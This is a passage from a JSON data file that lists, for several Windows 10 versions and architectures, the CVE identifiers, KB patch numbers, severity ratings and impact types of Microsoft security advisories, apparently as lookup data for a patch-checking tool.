Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503284","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534276","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537789","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550927","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571741","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571741","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503284","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534276","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537789","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550927","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571741","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571741","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2017-11830","kb":"4048955","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4054517","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0743","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0823","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074588","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0880","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343897","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093112","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103727","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503284","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534276","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537789","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550927","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571741","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571741","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2018-0824","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0952","kb":"4343909","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0982","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103721","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003174","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003174","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601354","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-26863","kb":"5000809","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"}],"Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003174","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003174","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601354","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-26863","kb":"5000809","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"}],"Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2018-0824","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0952","kb":"4343909","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0982","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103721","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003174","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003174","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601354","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-26863","kb":"5000809","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"}],"Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013945","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099538","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099538","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122876","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122876","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1809 for ARM64-based 